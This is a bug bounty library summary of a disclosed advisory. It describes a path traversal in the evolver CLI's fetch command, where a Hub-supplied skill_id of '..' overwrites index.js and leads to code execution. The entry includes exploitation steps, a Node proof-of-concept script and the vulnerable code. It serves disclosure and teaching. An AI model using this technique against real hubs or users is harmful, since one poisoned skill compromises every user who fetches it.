# @evomap/evolver: Path Traversal in `evolver fetch` default-branch `safeId` allows Hub-controlled overwrite of project files (RCE)

evolver fetch sanitizer allows '.' so a Hub-supplied skill_id of '..' escapes skills/ and overwrites cwd files like index.js, yielding RCE.

- Payout: Research
- Severity: high
- Program: EvoMap Evolver
- Found by: offset
- Disclosed: 2026-05-05
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-cfcj-hqpf-hccf
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-cfcj-hqpf-hccf
- Tags: area:oss domain:oss impact:integrity impact:rce kind:research platform:ghsa sev:high tech:nodejs technique:incomplete-fix technique:source-review vuln:path-traversal vuln:rce

**Target:** npm CLI `evolver fetch` subcommand (index.js)
**Root cause:** The safeId sanitizer regex `[^a-zA-Z0-9_\-\.]` preserves dots, so skill_id `..` survives; path.join('.','skills','..') collapses to cwd. The traversal check exists only in the --out branch, not the default branch.
**Steps:**
1. Attacker uploads a skill to the A2A Hub with stored `skill_id` of `..` and `bundled_files: [{name:'index.js', content:'<attacker JS>'}]` (or runs a malicious Hub / sets `A2A_HUB_URL`).
2. Victim runs `node index.js fetch --skill=anything` from the evolver checkout without `--out`.
3. `safeId` = `'..'`; `outDir = path.join('.','skills','..')` = `'.'` (cwd).
4. Write loop uses `path.basename('index.js')` = `index.js`, ext `.js` is allow-listed, so `fs.writeFileSync(path.join('.', 'index.js'), content)` clobbers the entry point.
5. Next `node index.js` invocation (e.g. `run --loop`) executes attacker code.
**How found:** Noticed the --out branch had a path.relative traversal check but the default branch did not; tested that `'..'.replace(/[^a-zA-Z0-9_\-\.]/g,'_') === '..'` and that path.join collapses `..` to cwd, then confirmed basename+extension allow-list permits overwriting index.js.
**Exploitation:** Malicious Hub response supplies skill_id `..` plus bundled_files with name `index.js` and attacker JS content; victim's fetch overwrites ./index.js in place; subsequent evolver invocation (including the long-running `run --loop` daemon) executes the payload with victim privileges.
**Escalation:** Can also overwrite package.json, SKILL.md, and other allow-listed .json/.yaml/.yml config files in cwd; single malicious skill upload compromises every fetching user.
**Insight:** When a hardened branch (here --out) has an explicit traversal check, audit the sibling default branch for the same check — sanitizer allow-lists that include `.` let `..` through, and path.join silently collapses it.

## Proof of concept (copied exactly from the original report)

**Node PoC overwriting index.js via skill_id '..'**

```
node -e "
const fs=require('fs'),path=require('path');
const data={
  skill_id:'..',
  content:'x',
  bundled_files:[{name:'index.js',content:'#!/usr/bin/env node\nconsole.log(\"PWNED\");'}]
};
const safeId=String(data.skill_id||'x').replace(/[^a-zA-Z0-9_\-\.]/g,'_');
const outDir=path.join('.','skills',safeId);
console.log('safeId:',JSON.stringify(safeId));   // '..'
console.log('outDir:',JSON.stringify(outDir));   // '.'
if(!fs.existsSync(outDir))fs.mkdirSync(outDir,{recursive:true});
for(const f of data.bundled_files){
  const n=path.basename(f.name);
  fs.writeFileSync(path.join(outDir,n),f.content);
}"
```

**Vulnerable fetch handler safeId/outDir code**

```
const data = await resp.json();
const outFlag = args.find(a => typeof a === 'string' && a.startsWith('--out='));
const safeId = String(data.skill_id || skillId).replace(/[^a-zA-Z0-9_\-\.]/g, '_');
let outDir;
if (outFlag) {
  const rawOut = outFlag.slice('--out='.length);
  // ...
  const resolvedOut = path.resolve(process.cwd(), rawOut);
  const cwd = path.resolve(process.cwd());
  const rel = path.relative(cwd, resolvedOut);
  if (rel.startsWith('..') || path.isAbsolute(rel)) {     // <-- traversal check exists for --out
    console.error('[fetch] --out= must resolve to a path inside the current working directory');
    process.exit(1);
  }
  outDir = resolvedOut;
} else {
  outDir = path.join('.', 'skills', safeId);              // <-- NO traversal check
```

**Bundled-files write loop with extension allow-list**

```
const ALLOWED_SKILL_EXTENSIONS = new Set([
  '.js', '.mjs', '.cjs', '.ts', '.json', '.md', '.txt',
  '.sh', '.py', '.yml', '.yaml',
]);
// ...
for (const file of bundled) {
  if (!file || !file.name || typeof file.content !== 'string') continue;
  const safeName = path.basename(file.name);                       // basename of "index.js" is "index.js"
  const ext = path.extname(safeName).toLowerCase();
  if (!ALLOWED_SKILL_EXTENSIONS.has(ext)) { /* skip */ continue; }
  if (Buffer.byteLength(file.content, 'utf8') > MAX_SKILL_FILE_BYTES) { /* skip */ continue; }
  fs.writeFileSync(path.join(outDir, safeName), file.content, 'utf8');
```

